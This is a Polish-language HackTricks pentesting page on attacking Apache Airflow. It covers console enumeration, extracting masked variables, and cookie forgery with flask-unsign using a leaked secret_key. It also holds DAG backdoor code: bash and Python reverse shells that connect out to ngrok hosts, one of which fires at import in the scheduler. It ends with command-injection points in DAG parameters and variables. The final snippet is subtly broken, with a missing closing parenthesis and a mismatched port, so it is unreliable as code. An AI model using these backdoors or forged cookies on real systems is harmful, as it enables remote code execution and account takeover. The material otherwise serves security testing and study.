Apache Airflow Security

Support HackTricks

Basic Information

Apache Airflow służy jako platforma do orkiestrowania i planowania potoków danych lub przepływów pracy. Termin "orkiestracja" w kontekście potoków danych oznacza proces aranżowania, koordynowania i zarządzania złożonymi przepływami danych pochodzącymi z różnych źródeł. Głównym celem tych orkiestrujących potoków danych jest dostarczenie przetworzonych i nadających się do użycia zbiorów danych. Zbiory te są szeroko wykorzystywane przez wiele aplikacji, w tym, ale nie tylko, narzędzia do analizy biznesowej, modele nauki o danych i uczenia maszynowego, które są podstawą funkcjonowania aplikacji big data.

W zasadzie, Apache Airflow pozwoli Ci zaplanować wykonanie kodu, gdy coś (zdarzenie, cron) się wydarzy.

Local Lab

Docker-Compose

Możesz użyć pliku konfiguracyjnego docker-compose z https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml, aby uruchomić kompletną środowisko docker apache airflow. (Jeśli jesteś na MacOS, upewnij się, że przydzielisz co najmniej 6 GB RAM dla VM docker).

Minikube

Jednym z łatwych sposobów na uruchomienie apache airflow jest uruchomienie go z minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Konfiguracja Airflow

Airflow może przechowywać wrażliwe informacje w swojej konfiguracji lub możesz znaleźć słabe konfiguracje:

Airflow Configuration

Airflow RBAC

Zanim zaczniesz atakować Airflow, powinieneś zrozumieć jak działają uprawnienia:

Airflow RBAC

Ataki

Enumeracja konsoli internetowej

Jeśli masz dostęp do konsoli internetowej, możesz uzyskać dostęp do niektórych lub wszystkich następujących informacji:

  • Zmienne (Własne wrażliwe informacje mogą być tutaj przechowywane)

  • Połączenia (Własne wrażliwe informacje mogą być tutaj przechowywane)

  • Uzyskaj do nich dostęp w http://<airflow>/connection/list/

  • Konfiguracja (Wrażliwe informacje, takie jak secret_key i hasła mogą być tutaj przechowywane)

  • Lista użytkowników i ról

  • Kod każdego DAG (który może zawierać interesujące informacje)

Pobieranie wartości zmiennych

Zmienne mogą być przechowywane w Airflow, aby DAG mogły uzyskać ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz wystarczające uprawnienia, możesz uzyskać do nich dostęp w GUI w http://<airflow>/variable/list/. Airflow domyślnie pokaże wartość zmiennej w GUI, jednak zgodnie z tym możliwe jest ustawienie listy zmiennych, których wartość będzie wyświetlana jako gwiazdki w GUI.

Jednak te wartości mogą być nadal pobrane za pomocą CLI (musisz mieć dostęp do bazy danych), wykonywania dowolnego DAG, API uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i nawet samego GUI! Aby uzyskać dostęp do tych wartości z GUI, po prostu wybierz zmienne, do których chcesz uzyskać dostęp i kliknij na Akcje -> Eksportuj. Innym sposobem jest przeprowadzenie bruteforce na ukrytej wartości za pomocą filtrowania wyszukiwania, aż ją uzyskasz:

Eskalacja uprawnień

Jeśli konfiguracja expose_config jest ustawiona na True, z rolą Użytkownika i wyżej można czytać konfigurację w sieci. W tej konfiguracji pojawia się secret_key, co oznacza, że każdy użytkownik z tym ważnym kluczem może utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE w Airflow worker)

Jeśli masz uprawnienia do zapisu w miejscu, gdzie DAGi są zapisywane, możesz po prostu stworzyć jeden, który wyśle ci reverse shell. Zauważ, że ten reverse shell będzie wykonywany wewnątrz kontenera airflow worker:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE w harmonogramie Airflow)

Jeśli ustawisz coś do wykonania w katalogu głównym kodu, w momencie pisania tego tekstu, zostanie to wykonane przez harmonogram po kilku sekundach od umieszczenia go w folderze DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Tworzenie DAG

Jeśli uda ci się skompromentować maszynę w klastrze DAG, możesz stworzyć nowe skrypty DAG w folderze dags/, a one będą replikowane w pozostałych maszynach w klastrze DAG.

Wstrzykiwanie kodu DAG

Kiedy wykonujesz DAG z GUI, możesz przekazać argumenty do niego. Dlatego, jeśli DAG nie jest odpowiednio zakodowany, może być vulnerable to Command Injection. To właśnie wydarzyło się w tym CVE: https://www.exploit-db.com/exploits/49927

Wszystko, co musisz wiedzieć, aby zacząć szukać wstrzyknięć poleceń w DAGach, to że parametrydostępne za pomocą kodu dag_run.conf.get("param_name").

Ponadto, ta sama podatność może wystąpić z zmiennymi (zauważ, że przy wystarczających uprawnieniach możesz kontrolować wartość zmiennych w GUI). Zmienne są dostępne za pomocą:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Jeśli są używane na przykład wewnątrz polecenia bash, możesz wykonać wstrzyknięcie polecenia.

Wsparcie HackTricks

Last updated